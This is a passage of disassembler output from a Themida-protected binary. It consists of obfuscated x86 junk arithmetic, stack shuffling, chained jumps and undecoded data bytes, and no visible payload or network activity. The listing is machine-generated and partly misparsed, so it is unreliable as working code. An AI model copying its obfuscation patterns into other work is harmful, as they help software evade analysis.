		dd 2474FF24h, 86FFE904h, 0DEBF0000h, 0E94F4B53h, 622Ah
		dd 59CF215Dh, 1EF81h, 0EF810000h, 2A59532Ah, 0EEEEF81h
		dd 0FE0101A8h, 882E95Fh, 4EBD0000h, 81660514h, 1D55E6C5h
		dd 5DE829C8h, 7C99E9h, 240C8900h, 0FFECC9E9h, 0C3815FFFh
		dd 4, 5C241C87h, 704F68h, 30D0E900h, 0C6810000h, 26FB4E67h
		dd 2C6815Bh, 33000000h,	34312434h, 24343324h, 6624248Bh
		dd 0E924048Bh, 5C41h
; ---------------------------------------------------------------------------


loc_5541AC:				; CODE XREF: Themida_:0055346Cj
		neg	ebp
		add	ebp, 0CA05E9BAh
		jmp	loc_5580F0
; ---------------------------------------------------------------------------
		db 28h,	0D3h, 5Ah
		dd 0A2E9C328h
		db 7Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5541C3:				; CODE XREF: Themida_:00558B01j
		or	ecx, 5C284AECh
		jmp	loc_556AAE
; ---------------------------------------------------------------------------


loc_5541CE:				; CODE XREF: Themida_:00552B6Fj
		and	ah, 0E1h
		add	ah, 0BCh
		add	bh, ah
		pop	eax
		mov	dl, bh
		pop	ebx
		shl	dl, 6
		jmp	loc_558DF5
; ---------------------------------------------------------------------------
		dw 5854h
		dd 0F3E95653h
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5541EB:				; CODE XREF: Themida_:00558562j
		pop	esi
		xor	ebx, 3EA24E27h
		jmp	loc_5596D7
; ---------------------------------------------------------------------------
		db 68h
		dd 50FF2D21h, 2E9C159h,	2E52BB53h, 0D9091F82h, 0A7C1815Bh
		dd 0E9E04010h, 0FFFFCDADh, 9C241CF6h, 0FFC829E9h, 68C300FFh
		dd 7A30h, 51240489h, 8126E9h, 0AC685C00h, 0E9000024h, 64B3h
		dd 4AE96F04h, 58000031h, 0E9243433h, 531Eh
; ---------------------------------------------------------------------------


loc_554248:				; CODE XREF: Themida_:00551674j
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_559797
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 582434FFh
		db 83h,	0C4h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_558B20
; ---------------------------------------------------------------------------


loc_55427B:				; CODE XREF: Themida_:00559292j
		mov	[esp], edx
		mov	dl, 1Bh
		push	edx
		mov	dl, 4
		mov	bl, dl
		pop	edx
		sub	esp, 4
		jmp	loc_55C716
; ---------------------------------------------------------------------------


loc_554291:				; CODE XREF: Themida_:0055504Dj
		pop	esi
		mov	[eax], edx
		jmp	loc_55A626
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 0BEh
		dd 0E9647A05h, 4414h, 42474FFh,	8B2434FFh, 0E955240Ch
		dd 50B6h, 4C3E181h, 0BFE9642Dh,	0E9000035h, 0FFFFC782h
; ---------------------------------------------------------------------------


loc_5542C4:				; CODE XREF: Themida_:0055A146j
		mov	[esp], edx
		jmp	loc_552FFA
; ---------------------------------------------------------------------------


loc_5542CC:				; CODE XREF: Themida_:00557CD2j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5539DB
; ---------------------------------------------------------------------------
		dw 0CA81h
		dd 215215CCh, 4957F281h, 0F7522254h, 815A2414h,	4ECh, 24048900h
		dd 13A68h, 240C8900h, 4D59C2B9h, 0D7D0B865h, 0C82923E2h
		dd 592434FFh, 4C481h, 0B6E90000h, 50000084h, 88CF8853h
		dd 0E9515BFCh, 15A4h, 468C68h, 5A3EE900h, 0E3000000h, 50C32858h
		dd 0E3283CB4h, 0C0B60F58h, 6887048Dh, 561Bh, 224CE9h
		db 0
; ---------------------------------------------------------------------------


loc_554359:				; CODE XREF: Themida_:00551481j
		pop	ebp
		add	edx, eax
		jmp	loc_555097
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 2B88D588h, 592434FFh, 5B04C483h, 0FFFA2AE9h,	4BEFFh
		dd 0F5010000h, 242C875Eh, 0F2815A5Ch, 3CE5140Eh, 0FFC6B9E9h
		dd 53D168FFh, 14890000h, 4815624h, 6F41C524h, 68575A20h
		dd 69695164h, 0A8B9515Fh, 0C12E8E19h, 0F18103E1h, 6E383F80h
		dd 7EAE181h, 0D1F71D65h, 410DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5543C1:				; CODE XREF: Themida_:00559CF2j
		sub	edx, 75B15AA8h
		add	edx, edi
		add	edx, 75B15AA8h
		push	eax
		mov	eax, 0
		add	eax, edx
		jmp	loc_557121
; ---------------------------------------------------------------------------


loc_5543DC:				; CODE XREF: Themida_:0055A633j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_550F2B
; ---------------------------------------------------------------------------
		db 87h
		dd 12E92434h, 89FFFFF7h, 4C281E2h, 83000000h, 148704C2h
		dd 14875C24h, 24248B24h, 24048B66h, 4EC81h, 56E90000h
		dd 0FF000029h, 1BE92434h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55441F:				; CODE XREF: Themida_:00551987j
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, ebx
		mov	ecx, edx
		pop	edx
		mov	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	edi
		mov	edi, esp
		push	esi
		push	3681630h
		pop	esi
		push	ebp
		push	eax
		mov	eax, 1C9A23C4h
		mov	ebp, 2D877A67h
		xor	ebp, eax
		pop	eax
		jmp	loc_5514D2
; ---------------------------------------------------------------------------
		db 1, 0D9h, 81h
		dd 0DF1C16C1h, 5627E91Ch, 0EE830000h, 24348704h, 4A49E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554472:				; CODE XREF: Themida_:00552875j
		pop	ecx
		jmp	loc_550FAC
; ---------------------------------------------------------------------------


loc_554478:				; CODE XREF: Themida_:005566CEj
		mov	esi, ecx
		mov	eax, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_558EE4
; ---------------------------------------------------------------------------


loc_554485:				; CODE XREF: Themida_:00555EFFj
		mov	edi, eax
		pop	eax
		mov	esi, edi
		pop	edi
		pop	ebp
		xor	[esp+4], esi
		pop	esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	esp, 4
		xor	eax, 4D6D204Dh
		push	edi
		mov	edi, 60FB53A1h
		push	56BAh
		mov	[esp], esi
		mov	esi, 604C53B1h
		push	edx
		mov	edx, 4CB37305h
		shl	edx, 2
		jmp	loc_5546E4
; ---------------------------------------------------------------------------
		db 0B6h
		dd 66F08816h, 80A0045Ah, 0C30012C3h, 28C1E9h
		db 0
; ---------------------------------------------------------------------------


loc_5544D9:				; CODE XREF: Themida_:005588E6j
		add	esp, 4
		or	eax, eax
		jz	loc_5580E2
		push	dword ptr [edi+28h]
		add	dword ptr [esp], 4DBD2EA6h
		jmp	loc_551638
; ---------------------------------------------------------------------------
		dw 8758h
		dd 248B240Ch, 0C896624h, 0B60F6624h, 9C5166C8h,	0FFC539E9h
		dd 81E189FFh, 4C1h, 58C2E900h, 27E90000h, 0ADFFFFC5h, 440668h
		dd 240C8900h, 835EDEB9h, 1420E95Eh, 0EB800000h,	0D7B753E3h
		dd 5BF800h, 66D72CD8h, 51241C8Bh, 5253E189h, 494A3368h
		dd 68425A02h, 4231h, 0BE243489h, 36803078h, 895EF231h
		dd 0EB815AD3h, 0E681CB0h, 1EE4E9h, 2434FF00h, 4C48158h
		dd 0E9000000h, 0FFFFC4CAh, 8017CF80h, 0E7C011CFh, 8BC78003h
		dd 82F780h, 0C2805BFAh,	5AD32816h, 0EC83C300h, 24048904h
		dd 24E95266h, 81FFFFFFh, 4ECh, 243C8900h, 0FFEB32E9h, 5FFE31FFh
		dd 875EF101h, 248B240Ch, 4316624h, 7FE99C24h
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5545C7:				; CODE XREF: Themida_:0055A507j
		mov	ch, dl
		jmp	loc_551D67
; ---------------------------------------------------------------------------


loc_5545CE:				; CODE XREF: Themida_:005514CDj
		push	edx
		jmp	loc_55115E
; ---------------------------------------------------------------------------


loc_5545D4:				; CODE XREF: Themida_:00557E5Ej
		pop	esp
		push	ebx
		push	1Ch
		pop	ebx
		jmp	loc_559EB6
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 0FCh
		dd 83FFFFF6h, 0F82804C4h, 5B2434FFh, 81E28952h,	4C2h, 7BF8E900h
		dd 0E0890000h, 0C76E9h
		db 0
; ---------------------------------------------------------------------------


loc_554605:				; CODE XREF: Themida_:00552DD3j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ecx
		push	edi
		mov	edi, 5DA85F0Ah
		mov	ecx, edi
		jmp	loc_55A29E
; ---------------------------------------------------------------------------
aRsA		db 'RИъA',0
		dw 0FE00h
		dd 4EFC0CFh, 0E92FEF80h, 0D40h,	30D3EE80h, 74AE9F0h, 62680000h
		dd 89000041h, 0EC812414h, 4, 24048F54h,	7BB7E9h, 81EED100h
		dd 0E0FD8C6h, 50DEF759h, 2C73EDB8h, 672DE936h, 0C0830000h
		dd 7D0EE904h, 0C4830000h, 0C3C8E904h, 0C381FFFFh, 4, 0E904C383h
		dd 0FFFFE79Eh
; ---------------------------------------------------------------------------


loc_55468C:				; CODE XREF: Themida_:00551615j
		and	eax, edx
		jmp	loc_553DE5
; ---------------------------------------------------------------------------
		db 59h
		dd 8324148Bh, 0CE0104C4h, 592434FFh, 0E904C483h, 22B8h
; ---------------------------------------------------------------------------


loc_5546A8:				; CODE XREF: Themida_:00557202j
		mov	ecx, 1
		and	eax, ecx
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	edx
		mov	edx, 49605C71h
		shl	edx, 6
		shl	edx, 2
		jmp	loc_552A04
; ---------------------------------------------------------------------------
aL4Hox		db '▀4$hoX',0
		dw 8900h
		dd 0E589242Ch, 4C581h, 0E9560000h, 0FFFFFC91h
; ---------------------------------------------------------------------------


loc_5546E4:				; CODE XREF: Themida_:005544C2j
		and	edx, 579E799Dh
		push	eax
		jmp	loc_559398
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 0DFA3E952h, 8B5FFFFFh, 0C483241Ch, 242C8704h
		dd 5124248Bh, 0D4885053h, 48BE388h, 4C48124h, 50000000h
		dd 651AE9h, 48B6600h, 2CDB6824h, 14890000h, 1E8E924h, 55F0000h
		dd 1159079Bh, 9B2DD801h, 2D115907h, 178B2F8Dh, 637EBD55h
		dd 0E8296043h, 83242C8Bh, 0D56804C4h, 8900007Ch, 0BA52242Ch
		dd 3D1D0DDCh, 86B245BDh, 8BD53129h, 89512414h, 36BD55E1h
		dd 0F7343921h, 0E94D4DDDh, 154Dh, 4EA81h, 14870000h, 24248B24h
		dd 0DF1E9h, 240C8900h, 0FFC2B5E9h, 240C87FFh, 6624248Bh
		dd 9C240401h, 0FFC2A5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5547A1:				; CODE XREF: Themida_:00553390j
		push	ebx
		mov	ebx, 75F84806h
		dec	ebx
		add	ebx, 1D7B5D19h
		neg	ebx
		add	ebx, 9373A522h
		add	esi, ebx
		jmp	loc_551641
; ---------------------------------------------------------------------------


loc_5547BD:				; CODE XREF: Themida_:00555AB6j
		pop	ebp


loc_5547BE:				; CODE XREF: Themida_:005570E5j
		push	2483h
		mov	[esp], edx
		jmp	loc_55C746
; ---------------------------------------------------------------------------
		db 66h
		dd 5524048Bh, 0E9525D54h, 0FFFFE2BEh, 7DD0C581h, 0F74D36DCh
		dd 0ED8145DDh, 0AC92CC63h, 815DEF21h, 10021CEFh, 5FFA0100h
		dd 5204C283h, 42474FFh,	6824148Bh, 1C98h, 54241C89h, 4C3815Bh
		dd 83000000h, 1C8704C3h, 48F5C24h, 24248B24h, 56C8B60Fh
		dd 0C6815E54h, 4, 3B8268h, 8451E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554832:				; CODE XREF: Themida_:0055A589j
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_55CA07
; ---------------------------------------------------------------------------
		db 80h,	0E5h, 42h
		dd 0FEB5E580h, 1533E9C5h, 4BD0000h, 81000000h, 0E37E60E9h
		dd 81E9012Ch, 0E37E60C1h, 0C335D2Ch, 240C3124h,	5C240C33h
		dd 0FFC1D9E9h, 2E6C1FFh, 0FFDAEFE9h, 81E389FFh,	4C3h, 4EB8300h
		dd 5C241C87h, 0BD242C89h, 6DB3560Fh, 0DC6B33B8h, 48D0F747h
		dd 0EBE9E0D1h, 66000029h, 5724048Bh, 5750E789h,	84D5D68h
		dd 0E5C2E978h, 428FFFFFh, 3AE95E38h, 57000075h,	7E2703BFh
		dd 0D8EB811Fh, 0E9537929h, 6010h, 0FFFFEA81h, 0E2C1FFFFh
		dd 0E02FE906h, 487FFFFh, 22D4E924h, 0DCBE0000h,	0E9599C79h
		dd 40AFh, 0E98734FFh, 0FFFFC156h, 33240431h, 545C2404h
		dd 6824048Fh, 6B09h, 6F99E9h, 4C68100h,	0E9000000h, 0FFFFD6E8h
		dd 3A83E952h, 5A540000h, 350268h, 243C8900h, 8904EC83h
		dd 9A68240Ch, 8B7F096Dh, 0C481240Ch, 4,	8107E1C1h, 335C8CC1h
		dd 81D1F71Eh, 0B83D24E9h, 3E1C109h, 5B96C181h, 0CF89DEE5h
		dd 5227E959h, 4BE0000h,	810F7A4Bh, 60737CCEh, 0B3C68149h
		dd 812FE567h, 0A01CD3C6h, 5EF08980h, 0DC7BD55h,	0EE01386Ah
		dd 0DE40E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55497E:				; CODE XREF: Themida_:0055A361j
		mov	[esp], ecx
		push	eax
		pop	ecx
		pop	eax
		push	edx
		mov	edx, 1A4E4Eh
		jmp	loc_558A95
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F58107E5h, 70F718FEh, 0D2F4E94Dh, 0F828FFFFh, 4EA4E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5549A6:				; CODE XREF: Themida_:00556F68j
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_55124E
; ---------------------------------------------------------------------------
		dd 4ED81h, 0ACE90000h, 87FFFFC0h, 0E95C2404h, 33D6h, 2C681h
		dd 34330000h, 24343124h, 1049E9h, 73ED8100h, 16FE353h
		dd 73C581CDh, 816FE353h, 8947F4EDh, 6E25E977h, 33580000h
		dd 14312414h, 24143324h, 0D58E9h, 6800h, 88E90000h, 87000001h
		dd 6AE9241Ch, 8F00006Fh, 248B2404h, 24048B24h, 3D8068h
		dd 243C8900h, 0B0E9E789h, 5BFFFFC4h, 5B8DE9h, 44815B00h
		dd 691A0424h, 44013258h, 6C810424h, 691A0424h, 0FF583258h
		dd 0E95B2434h, 8027h, 83241C8Bh, 0EEC004C4h, 5EEC003h
		dd 0EEC0C6FEh, 0CB15105h, 80A9C980h, 0C180A4C1h, 0C3E980C4h
		dd 0C8BCE30h, 391CE924h, 0E9510000h, 21F3h, 2BDDB951h
		dd 0C981367Fh, 2AB471DEh, 2EAAC981h, 81414CC2h,	9E5EC8E1h
		dd 4F04E91Ch, 5A540000h, 1E91E951h, 48F0000h, 24248B24h
		dd 9C2404FFh, 4A8E9h, 24048F00h, 2424895Ch, 46856h, 505E0000h
		dd 334869B8h, 2444294Dh, 74015808h, 9CE90424h, 0F6000037h
		dd 0FFEA80D2h, 1E95066h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554AF7:				; CODE XREF: Themida_:00552145j
		pop	esi
		add	edx, edi
		pop	edi
		add	edx, 3DB64A84h
		add	edi, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_559098
; ---------------------------------------------------------------------------


loc_554B0C:				; CODE XREF: Themida_:00557B29j
		pop	esi
		or	edi, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	eax
		jmp	loc_55B6F4
; ---------------------------------------------------------------------------


loc_554B1F:				; CODE XREF: Themida_:00559160j
		mov	ebx, 79770D94h
		xor	edx, ebx
		pop	ebx
		sub	edx, 61A5A396h
		and	esi, edx
		pop	edx
		push	ebp
		push	eax
		mov	eax, 43850C72h
		shl	eax, 8
		push	esi
		mov	esi, 37B604AAh
		dec	esi
		and	esi, 5EEE3361h
		sub	esi, 6E68DE2Ch
		xor	eax, esi
		pop	esi
		jmp	loc_55A517
; ---------------------------------------------------------------------------


loc_554B55:				; CODE XREF: Themida_:0055C88Bj
		pop	edx
		or	ebx, 178D5DDFh
		inc	ebx
		push	edx
		mov	edx, 7ECA3DB8h
		sub	edx, 1784092Bh
		and	edx, 53585EEDh
		sub	edx, 0DEC800BFh
		sub	ebx, edx
		pop	edx
		or	ebx, 1A104E64h
		push	edx
		mov	edx, 604C4536h
		add	ebx, edx
		pop	edx
		sub	edi, ebx
		pop	ebx
		mov	ebx, 0B74EAE83h
		jmp	loc_55874B
; ---------------------------------------------------------------------------
		dd 0C581E589h, 4, 4B850h, 55E90000h, 0FF00007Eh, 565B2434h
		dd 0FFCF13E9h, 242C8BFFh, 6657E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554BBA:				; CODE XREF: Themida_:00559C38j
		push	ebp
		mov	ecx, [esp]
		jmp	loc_552447
; ---------------------------------------------------------------------------
		db 51h
		dd 0FFE15AE9h, 242C89FFh, 0FFFC79E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554BD1:				; CODE XREF: Themida_:0055B37Bj
		not	ebp
		jmp	loc_550C1A
; ---------------------------------------------------------------------------
		dd offset dword_5B9F68
		dd 240C8900h, 53E9E189h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554BE7:				; CODE XREF: Themida_:005579FCj
		add	edi, ecx
		pop	ecx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		shr	ecx, 2
		jmp	loc_559072
; ---------------------------------------------------------------------------
		dd 5C1DEB81h, 0FB013FB7h, 5C1DC381h, 0A6E93FB7h, 31FFFFE1h
		dd 0C33240Ch, 24248B24h, 737FE9h, 4C18100h, 81000000h
		dd 4C1h, 7CF66800h, 0C890000h, 2474FF24h, 240C8B04h, 4C481h
		dd 48F0000h, 24248B24h,	4C481h,	34FF0000h, 24048B24h, 4C481h
		dd 89570000h, 0A4B850E7h, 55F5612h, 64FB2E6Fh, 0AEBEF105h
		dd 58C7013Bh, 4BE56h, 0F7010000h, 0E924348Bh, 1269h, 4C481h
		dd 50E90000h, 56FFFFD0h, 2451BD55h, 5DBE0916h, 0E91F0355h
		dd 0FAAh, 0EC83EEB2h, 241C8904h, 3886E9h, 0E9E4B600h, 0FFFFC001h
; ---------------------------------------------------------------------------


loc_554CAC:				; CODE XREF: Themida_:0055C642j
		pop	ecx
		pop	eax
		xchg	ebx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_55CE3F
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		push	7677h
		mov	[esp], ebp
		jmp	loc_555B85
; ---------------------------------------------------------------------------
		dd 2351C681h, 81590E32h, 0BDA67DF6h, 3C460574h,	0F00162A9h
		dd 0A93C462Dh, 24348B62h, 0E904C483h, 3532h
; ---------------------------------------------------------------------------


loc_554CF4:				; CODE XREF: Themida_:00557BC4j
		sub	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_5597D2
; ---------------------------------------------------------------------------
		db 0B1h, 53h, 0E9h
		dd 0FFFFEE54h
; ---------------------------------------------------------------------------


loc_554D0C:				; CODE XREF: Themida_:00552034j
		mov	edx, [esp]
		jmp	loc_550D1C
; ---------------------------------------------------------------------------


loc_554D14:				; CODE XREF: Themida_:0055234Cj
		add	esp, 4
		shr	ecx, 6
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_550DBC
; ---------------------------------------------------------------------------
		dd 0EEE9CE31h, 0E9FFFFCBh, 0FFFFBD0Eh, 0D8000AB3h, 82E95B66h
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554D43:				; CODE XREF: Themida_:0055742Aj
		pop	ebx
		xchg	ebx, edx
		push	edx
		push	edx
		mov	edx, 0FFFFFFFFh
		add	[esp+4], edx
		pop	edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		inc	edx
		jmp	loc_550B69
; ---------------------------------------------------------------------------


loc_554D62:				; CODE XREF: Themida_:00558D09j
		or	cl, 39h
		inc	cl
		xor	cl, 30h
		xor	cl, 0F5h
		mov	bl, cl
		pop	ecx
		jmp	loc_553F1B
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 81h
		dd 1B3EAEFh, 0EB295EF3h, 107FEB81h, 0E95D6935h,	76D6h
		dd 8B2434FFh, 0EFE92414h
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554D97:				; CODE XREF: Themida_:00555E69j
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55943E
; ---------------------------------------------------------------------------


loc_554DAC:				; CODE XREF: Themida_:00551B63j
		mov	esi, [esp]
		add	esp, 4
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		or	eax, eax
		jnz	loc_55297F
		mov	edx, 31913C2Ah
		push	6814h
		mov	[esp], ecx
		mov	ecx, 1
		jmp	loc_55549E
; ---------------------------------------------------------------------------
		dd 6E7CC181h, 0E9015319h, 74DAE9h, 241C8900h, 314AE9h
		dd 67BF5700h, 0F747F85Ch, 81D7F7DFh, 7A39EC7h, 0E9F801B8h
		dd 31D6h, 0EAA5E958h, 0F756FFFFh, 815E241Ch, 434B94C6h
		dd 5221E96Dh, 34FF0000h, 1BE95824h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554E27:				; CODE XREF: Themida_:00559F01j
		pop	ecx
		jmp	loc_55AE56
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 31h
		dd 89333412h, 0C78159CFh, 8B34903h, 4762C781h, 0C7810DE8h
		dd 0D0D51606h, 26E9FE01h, 8100007Ch, 0A70123EDh, 81D50123h
		dd 0A70123C5h, 1CEFE923h, 0FD2D0000h, 592B4764h, 1136E9h
		db 0
; ---------------------------------------------------------------------------


loc_554E6D:				; CODE XREF: Themida_:005590B0j
		or	edx, eax
		shl	edx, 1
		push	ebx
		mov	ebx, 24h
		add	ebx, 368435E9h
		add	ebx, edi
		push	ebp
		jmp	loc_556898
; ---------------------------------------------------------------------------


loc_554E85:				; CODE XREF: Themida_:00555ABCj
		push	ebp
		mov	ebp, 4
		add	ecx, 8BE77F1h
		add	ecx, ebp
		sub	ecx, 8BE77F1h
		mov	ebp, [esp]
		add	esp, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		push	1252h
		mov	[esp], ebx
		pop	edx
		push	635Dh
		mov	[esp], ebp
		mov	ebp, edx
		jmp	loc_552AD1
; ---------------------------------------------------------------------------


loc_554EC7:				; CODE XREF: Themida_:0055259Aj
		pop	ebp
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 54A06C2Dh
		shl	eax, 6
		xor	eax, 71241854h
		push	esi
		jmp	loc_559729
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0EE95500h, 80000000h, 0EC83A6EBh, 24148904h, 3252E9h
		dd 2474FF00h, 5FE95D04h, 0BF000048h, 4,	875FF801h, 535C2404h
		dd 0CC73FDBBh, 0A1F3813Dh, 8147306Fh, 0BA042444h, 81011744h
		dd 0C04246Ch, 16BB744h,	8104245Ch, 0C042444h, 566BB744h
		dd 6A1DBA52h, 0C2817659h, 203B0629h, 2E2C14Ah, 8104EAC1h
		dd 7228A9C2h, 5AD689FBh, 8247429h, 4815B5Eh, 6078F524h
		dd 24042940h, 0FFE064E9h, 0BAD0E9FFh, 815BFFFFh, 7C05AFF3h
		dd 0CFEB8172h, 89EAF252h, 0BA525BDDh, 6F8323EAh, 315AD089h
		dd 0D0F75DE8h, 0A964770Dh, 2E0C146h, 0E9D0F748h, 0FFFFE183h
		dd 0D47EEFBEh, 0EBEE8176h, 176D47Eh, 0C1835EF1h, 240C8704h
		dd 4C5815Ch, 81000000h,	2C5h, 242C3300h, 33242C31h, 248B242Ch
		dd 4FC2E924h, 895F0000h, 240C8BC8h, 81E28952h, 4C2h, 4C28300h
		dd 8B241487h, 0B9512424h, 9130B67Bh, 2159C801h,	6EE91C47h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554FFF:				; CODE XREF: Themida_:005580F2j
		pop	ebp
		sub	[esp+4], esi
		pop	esi
		pop	esi
		add	esi, 5B4372ADh
		jmp	loc_55B68A
; ---------------------------------------------------------------------------


loc_555011:				; CODE XREF: Themida_:005580DDj
		pop	eax
		mov	eax, ebp
		pop	ebp
		add	eax, 5046689Ah
		add	eax, edi
		push	esi
		mov	esi, 7A283B94h
		push	4B86h
		mov	[esp], eax
		mov	eax, 730118C7h
		inc	eax
		or	eax, 41D96152h
		not	eax
		xor	eax, 0A5C754DFh
		add	esi, 1B3522E2h
		sub	esi, eax
		sub	esi, 1B3522E2h
		pop	eax
		sub	eax, esi
		jmp	loc_554291
; ---------------------------------------------------------------------------
		dw 3C29h
		dd 243C8B24h, 4C481h, 0EF810000h, 0A75C83Ch, 4B1C581h
		dd 0FD010425h, 4B1ED81h, 0E6E90425h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555077:				; CODE XREF: Themida_:0055BFF9j
		push	1BB3h
		mov	[esp], eax
		pop	esi
		jmp	loc_555442
; ---------------------------------------------------------------------------
		db 29h,	0F0h, 31h
		dd 0C08AE9C6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55508E:				; CODE XREF: Themida_:00558947j
		add	esp, 4
		push	ecx
		jmp	loc_552583
; ---------------------------------------------------------------------------


loc_555097:				; CODE XREF: Themida_:0055435Cj
		add	[edx], ecx
		mov	edx, [esp]
		jmp	loc_55BEFA
; ---------------------------------------------------------------------------
		db 80h,	0EFh, 0B1h
		dd 285BFD30h, 0CFFE59EFh, 5697E9h, 24048B00h, 104C483h
		dd 242C8BEFh, 4C481h, 3C870000h, 24248B24h, 7868E9h, 3443BE00h
		dd 82E90B49h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5550D7:				; CODE XREF: Themida_:00552291j
		pop	edx
		sub	edx, 1A273945h
		mov	edi, [esp]
		add	esp, 4
		pop	esi
		push	1B53h
		mov	[esp], edx
		pop	eax
		mov	edx, [esp]
		jmp	loc_55B030
; ---------------------------------------------------------------------------
		db 2Ch,	0C5h, 34h
		dd 58C730C6h, 80A0E780h, 0F828DAF7h, 71E5E9h
		db 0
; ---------------------------------------------------------------------------


loc_55510D:				; CODE XREF: Themida_:0055A9C7j
		push	4D0Dh
		mov	[esp], edx
		push	1353h
		mov	[esp], eax
		push	6A1Ch
		mov	[esp], ebp
		mov	ebp, 1
		mov	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_556D7E
; ---------------------------------------------------------------------------
		db 81h
		dd 9638D0C2h, 81D2F761h, 0F62C6BC2h, 2A86E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55514A:				; CODE XREF: Themida_:00550B01j
		mov	ecx, 4E2E6A38h
		sub	ecx, 713B92h
		sub	eax, ecx
		mov	ecx, [esp]
		jmp	loc_5513D2
; ---------------------------------------------------------------------------
		db 66h
		dd 6638B353h, 308BB450h, 0FE5866E3h, 0E9C3FECBh, 0FFFFF3BEh
; ---------------------------------------------------------------------------


loc_555174:				; CODE XREF: Themida_:0055C9C6j
		mov	dword ptr [edi+20h], 43371E27h
		xor	[edi+20h], ebx
		pop	ebx
		push	edx
		mov	edx, 666D05DAh
		jmp	loc_559CE9
; ---------------------------------------------------------------------------


loc_55518A:				; CODE XREF: Themida_:0055AE3Fj
		neg	esi
		inc	esi
		xor	esi, 2F785B68h
		jmp	loc_5533A9
; ---------------------------------------------------------------------------


loc_555198:				; CODE XREF: Themida_:00556E72j
		sub	edx, edi
		jmp	loc_5514EC
; ---------------------------------------------------------------------------
		db 66h
		dd 665A4868h, 48F6654h,	81686624h, 2C89665Ah, 2686624h
		dd 665D6600h, 26BF6657h, 7C29663Eh, 5F660424h, 246C0166h
		dd 0D5A7E902h, 3489FFFFh, 3D326824h, 2C890000h,	48B56824h
		dd 99E921D2h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5551E3:				; CODE XREF: Themida_:0055B30Ej
		mov	[esp], eax
		push	esi
		mov	esi, 4D0F6E72h
		jmp	loc_5535CB
; ---------------------------------------------------------------------------
		db 0C3h, 0E9h, 1Ch
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5551F7:				; CODE XREF: Themida_:005511FAj
		mov	ebx, 28651300h
		and	ebx, 41124CDh
		neg	ebx
		dec	ebx
		jmp	loc_550AAD
; ---------------------------------------------------------------------------
		dw 0CA04h
		dd 0E800C104h, 0CA2CC12Ch, 0FFF01FE9h
		db 0FFh
